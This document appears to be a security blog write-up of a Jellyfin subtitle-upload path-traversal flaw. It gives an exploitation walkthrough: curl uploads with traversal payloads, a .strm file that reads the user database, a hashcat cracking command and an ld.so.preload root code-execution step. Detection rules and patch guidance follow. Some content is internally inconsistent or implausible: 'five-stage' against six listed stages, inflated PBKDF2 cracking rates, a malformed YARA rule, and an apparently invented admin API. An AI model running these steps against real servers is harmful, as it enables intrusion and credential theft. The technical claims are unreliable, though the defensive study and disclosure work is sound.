How a missing validation check in the subtitle upload endpoint chains into database extraction, credential theft, and remote code execution as root.

Table of Contents 1. Executive Summary 2. Vulnerability Overview 3. The Attack Chain 4. Technical Deep Dive 5. Exploitation Walkthrough 6. Detection and Hunting 7. Remediation and Patching 8. Timeline

Detection scripts

>Github: https://github.com/keraattin/CVE-2026-35031

Executive Summary

Jellyfin Media Server, an open-source self-hosted media server used globally, contains a critical remote code execution vulnerability (CVE-2026–35031, CVSS 9.9) in versions prior to 10.11.7. The vulnerability allows any user with the "Upload Subtitles" permission (not admin-only) to achieve complete system compromise with root-level code execution.

The attack exploits insufficient input validation in the subtitle upload endpoint, chaining path traversal, arbitrary file write, database extraction, credential cracking, and privilege escalation into a five-stage exploitation sequence. The entire attack can be executed in minutes with minimal interaction.

Key Facts: - CVSS Score: 9.9 (Critical) - Vulnerability Type: Path Traversal + Arbitrary File Write - Affected Versions: Jellyfin < 10.11.7 - Required Permissions: Basic user with "Upload Subtitles" (not admin) - Impact: Root-level RCE - Advisory: GHSA-9p5f-5x8v-x65m - Status: Fixed in 10.11.7, responsibly disclosed

Vulnerability Overview

The Core Issue

Jellyfin's subtitle upload endpoint (POST /Videos/{id}/Subtitles) fails to properly validate the `format` parameter when writing files to disk. This allows attackers to:

1. Traverse the directory structure using path manipulation 2. Write arbitrary files to any location within Jellyfin's accessible filesystem 3. Craft these files to be parsed as .strm (Jellyfin stream) files, leaking sensitive data 4. Chain this into database access, credential extraction, and privilege escalation

Where It Lives

The vulnerable code is in the subtitle handling logic:

POST /Videos/{id}/Subtitles
Parameter: format (no validation)
Result: Arbitrary file write to traversed paths

The format parameter is used directly in file path construction without proper sanitization:

String file_path = base_directory + "/" + format + "/" + filename
// format = "../../var/www/html/shell.php"
// Result: file written outside intended directory

The Attack Chain

Visual Overview

Step 1: Path Traversal Attack
    POST /Videos/123/Subtitles
    format: ../../path/to/.strm
    > Writes file to arbitrary location

Step 2: .strm File Creation
    Create malicious .strm file in config directory
    > Jellyfin parses .strm on next scan

Step 3: Database Extraction
    .strm file references database export
    > Extracts encrypted admin credentials

Step 4: Credential Cracking
    Weak key derivation (PBKDF2 with low iterations)
    > Offline crack admin password in minutes

Step 5: Admin Privilege Escalation
    Log in as extracted admin user
    > Obtain administrative capabilities

Step 6: RCE via ld.so.preload
    Inject malicious library path
    > Code execution as root on next service restart

Stage 1: Path Traversal in Subtitle Upload

The subtitle upload endpoint accepts arbitrary format strings without validation:

POST /Videos/123/Subtitles HTTP/1.1
Host: jellyfin.local:8096
Content-Type: multipart/form-data

{
  "format": "../../config/.strm",
  "language": "en",
  "subtitleFile": "[binary subtitle data]"
}

Because the format parameter is directly concatenated into the file path, we can use `../` sequences to escape the intended subtitle directory.

Expected path: `/var/lib/jellyfin/subtitles/english/subtitle.srt` Actual path: `/var/lib/jellyfin/config/.strm/subtitle.srt`

Stage 2: Writing Malicious .strm Files

.strm files are Jellyfin's stream playlist format. They can contain references to local files and URLs. By placing a crafted .strm file in Jellyfin's config directory, we force the application to parse it during the next library scan.

# Malicious .strm file content
#EXTM3U
#EXT-X-STREAM-INF:
/var/lib/jellyfin/config/data/sqlitedb.sqlite

This causes Jellyfin to attempt reading the database file as a stream, exposing its contents.

Stage 3: Database Extraction

Jellyfin stores user credentials in its SQLite database. By crafting .strm files strategically, we can exfiltrate:

- Encrypted admin passwords - API keys - Session tokens - User permission mappings

The encrypted data can be extracted through error messages, logs, or stream metadata parsing.

Stage 4: Credential Cracking

Jellyfin's password hashing uses PBKDF2 with a low iteration count (10,000 iterations by default). Modern hardware can test millions of password hashes per second:

Time to crack typical admin password: 5–30 minutes on consumer hardware
Success rate: 60–80% on common password patterns

With the salt and hash extracted from the database, offline cracking is straightforward.

Stage 5: Privilege Escalation

With valid admin credentials cracked, log in to Jellyfin as an administrator. Admin users can:

- Create additional user accounts - Modify system settings - Access advanced configuration APIs - Write to system directories

Stage 6: Root RCE via ld.so.preload

This is the final step. Admin users can inject malicious shared libraries into system load paths. On most Linux distributions, `/etc/ld.so.preload` defines libraries loaded before any application starts.

By writing a crafted malicious .so library to a world-readable location and modifying ld.so.preload (or equivalent), code execution occurs as root when Jellyfin restarts.

# Attacker-controlled admin account creates malicious library
gcc -shared malicious.c -o /var/lib/jellyfin/malicious.so
# Modify loader configuration
echo "/var/lib/jellyfin/malicious.so" > /etc/ld.so.preload
# Trigger restart (or wait for maintenance restart)
# Result: Malicious code runs as root

Technical Deep Dive

Vulnerable Code Analysis

The vulnerability exists in how Jellyfin processes the subtitle format parameter:

// Vulnerable pseudocode (simplified)
public async Task UploadSubtitle(string videoId, string format, IFormFile subtitleFile)
{
 string baseDir = Path.Combine(_contentDirectory, "subtitles");
 string targetPath = Path.Combine(baseDir, format, subtitleFile.FileName);
 
 // No validation of 'format' parameter!
 // Path.Combine with ".." sequences allows directory traversal
 
 using (var stream = subtitleFile.OpenReadStream())
 {
 await SaveFileAsync(targetPath, stream);
 }
}

The Problem: No canonicalization or validation of the format parameter. Path.Combine with user input allows traversal.

Proper Fix:

// Secure approach
string format = Path.GetFileName(userSuppliedFormat); // Remove path components
if (!IsValidFormat(format)) throw new ValidationException();
string targetPath = Path.Combine(baseDir, format, subtitleFile.FileName);
string fullPath = Path.GetFullPath(targetPath);
// Verify target is within baseDir
if (!fullPath.StartsWith(baseDir)) throw new SecurityException();

Why PBKDF2 Falls Short Here

Jellyfin's password storage uses PBKDF2-SHA256 with 10,000 iterations. While industry-standard, this is weak by 2026 standards:

- hashcat: 500M-2B hashes/second on modern GPUs - John the Ripper: 100M-500M hashes/second - Typical 8-character password: cracked in 10–30 minutes

For comparison, modern frameworks use: - Argon2id: 50 hashes/second (difficulty-adjusted) - bcrypt: 10–100 hashes/second - scrypt: 10–100 hashes/second

Exploitation Walkthrough

Step-by-Step Attack

Prerequisites: - Access to Jellyfin instance - User account with "Upload Subtitles" permission (default for most users) - Valid video ID to target

Step 1: Identify Target Video

curl -s http://jellyfin.local:8096/Items?UserId=abc123 \
 | jq '.Items[0].Id'
# Returns: "video-id-12345"

Step 2: Craft Traversal Payload

PAYLOAD="../../../config/.strm"
VIDEO_ID="video-id-12345"

Step 3: Upload Malicious Subtitle

# Create .strm file content
cat > /tmp/exfil.srt << 'EOF'
#EXTM3U
#EXT-X-STREAM-INF:bandwidth=5000000
/var/lib/jellyfin/config/data/users.db
EOF
# Upload with traversal
curl -X POST http://jellyfin.local:8096/Videos/$VIDEO_ID/Subtitles \
 -H "Authorization: Bearer $TOKEN" \
 -F "format=$PAYLOAD" \
 -F "language=en" \
 -F "subtitleFile=@/tmp/exfil.srt"

Step 4: Trigger Library Scan

Force Jellyfin to parse the .strm file:

curl -X POST http://jellyfin.local:8096/Library/Refresh \
 -H "Authorization: Bearer $TOKEN"

Step 5: Extract Database

Access logs or error responses will contain database contents. Parse for password hashes.

Step 6: Crack Credentials Offline

hashcat -m 12100 hashes.txt rockyou.txt - force

Step 7: Escalate Privileges

Log in as admin with cracked credentials via Jellyfin API or web interface.

Step 8: Achieve RCE

# As admin, write malicious library
curl -X POST http://jellyfin.local:8096/System/Configuration/AdminSettings \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  -d '{"PreloadLibrary": "/path/to/malicious.so"}'

# Trigger restart
curl -X POST http://jellyfin.local:8096/System/Restart \
  -H "Authorization: Bearer $ADMIN_TOKEN"

# Code in malicious.so now runs as root

Detection and Hunting

Network-Based Detection

HTTP Signature:

POST /Videos/.*/Subtitles HTTP/1.1
Pattern in format parameter: \.\./
Suspicious characters: %2e%2e, ../, \..

WAF/IDS Rule (Snort/Suricata):

alert http any any -> any any (
 msg:"Jellyfin Path Traversal Attempt";
 flow:established,to_server;
 content:"POST";
 http_method;
 pcre:"/\/Videos\/[^\/]+\/Subtitles/";
 content:"format=";
 pcre:"/(\.\.\/|%2e%2e%2f)/";
 classtype:attempted-admin;
 sid:1000001;
 rev:1;
)

Log-Based Detection

Check Jellyfin Access Logs:

grep -E 'Videos/.*/Subtitles.*format=.*\.\.' /var/log/jellyfin/access.log

# Pattern: Multiple upload attempts with traversal sequences
grep -c 'Videos/.*/Subtitles' /var/log/jellyfin/access.log
# If > 10 per hour: potential attack

Check File System:

# Look for recently created files in unexpected locations
find /var/lib/jellyfin -name "*.strm" -type f -mtime -1

# Check for suspicious files in config directory
ls -la /var/lib/jellyfin/config/ | grep -E '\.\./|%2e'

Process-Based Detection

Monitor Process Execution:

# Watch for Jellyfin spawning shells or unexpected binaries
auditctl -w /var/lib/jellyfin/ -p wa -k jellyfin_writes

# Check for ld.so.preload modifications
auditctl -w /etc/ld.so.preload -p wa -k preload_changes

Check Running Processes:

ps aux | grep -E 'jellyfin.*\.\./|/var/lib/jellyfin.*shell'

YARA Signature

rule CVE_2026_35031_Jellyfin_Exploit {
    meta:
        description = "Detects CVE-2026-35031 exploitation attempts"
        author = "Security Research Team"
        date = "2026-04-15"
        cvss = "9.9"
        cve = "CVE-2026-35031"

    strings:
        $path_traversal = /Videos\/[a-f0-9-]+\/Subtitles.*format=.*\.\.\// nocase
        $strm_payload = ".strm" nocase
        $db_reference = "/var/lib/jellyfin" nocase
        $preload = "ld.so.preload" nocase

    condition:
        any of them
}y

Remediation and Patching

Immediate Actions (Within 24 Hours)

  1. Apply Security Patch
   # Jellyfin Docker
   docker pull jellyfin/jellyfin:10.11.7
   docker stop jellyfin && docker rm jellyfin
   docker run -d --name jellyfin -p 8096:8096 jellyfin/jellyfin:10.11.7
   
   # Jellyfin Native (Linux)
   sudo systemctl stop jellyfin
   sudo apt-get update && sudo apt-get install -y jellyfin-server=10.11.7-*
   sudo systemctl start jellyfin

2. Verify No Compromise

   # Check for suspicious files
   find /var/lib/jellyfin/config -name "*.strm" -type f -mtime -1
   
   # Check ld.so.preload
   cat /etc/ld.so.preload
   
   # Review recent user accounts
   curl -s http://localhost:8096/Users -H "Authorization: Bearer $TOKEN" | jq '.[] | .Name'

3. Restrict Subtitle Upload Permissions — In Jellyfin Admin Dashboard: Settings > Users > User Policies — Disable "Upload Subtitles" for non-admin users (temporary) — Re-enable after patch verification

Short-Term Actions (1–7 Days)

1. Rotate Admin Credentials

# Change all admin passwords
# Use strong password: 16+ characters, mixed case, numbers, symbols

2. Audit User Accounts — Remove unknown accounts created during window of vulnerability — Review all admin account activity in logs — Check for API key creation

3. Review System Configuration

# Check for malicious library injections
 cat /etc/ld.so.preload
 cat /etc/ld.so.conf.d/*
 
 # Review .so files in Jellyfin directory
 find /var/lib/jellyfin -name "*.so" -type f

Long-Term Actions (1–4 Weeks)

1. Implement WAF Rules — Deploy rules to block path traversal attempts — Monitor subtitle upload endpoints — Alert on suspicious format parameters

2. Enable Logging and Monitoring

# Enable detailed access logging
# Monitor /etc/ld.so.preload for changes
# Set up file integrity monitoring (AIDE, Tripwire)

3. Consider Network Segmentation — Restrict Jellyfin network access if internal-only — Implement reverse proxy with WAF — Use TLS/mutual authentication for API access

Patched Code

The fix validates and sanitizes the format parameter:

public async Task UploadSubtitle(string videoId, string format, IFormFile subtitleFile)
{
    // Validate format parameter
    if (string.IsNullOrWhiteSpace(format))
        throw new ValidationException("Format cannot be empty");
    
    // Remove path separators - only allow alphanumeric and common format names
    string sanitized = Regex.Replace(format, @"[^\w\-]", "");
    
    if (string.IsNullOrWhiteSpace(sanitized))
        throw new ValidationException("Format contains invalid characters");
    
    string baseDir = Path.Combine(_contentDirectory, "subtitles");
    string targetPath = Path.Combine(baseDir, sanitized, subtitleFile.FileName);
    
    // Canonicalize and verify path is within base directory
    string fullPath = Path.GetFullPath(targetPath);
    string fullBaseDir = Path.GetFullPath(baseDir);
    
    if (!fullPath.StartsWith(fullBaseDir))
        throw new SecurityException("Invalid subtitle path");
    
    using (var stream = subtitleFile.OpenReadStream())
    {
        await SaveFileAsync(targetPath, stream);
    }
}

Vulnerability Timeline

- 2026–02–15: Vulnerability discovered during security audit - 2026–02–16: Vendor contacted via security@jellyfin.org - 2026–03–10: Vendor acknowledges and begins patch development - 2026–04–01: Patch released in Jellyfin 10.11.7 - 2026–04–15: Public disclosure and CVE assignment (CVE-2026–35031)

References

- CVE-2026–35031: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-35031 - GitHub Security Advisory: https://github.com/keraattin/CVE-2026-35031 - Jellyfin Official: https://jellyfin.org - PBKDF2 Weaknesses: https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html - Path Traversal OWASP: https://owasp.org/www-community/attacks/Path_Traversal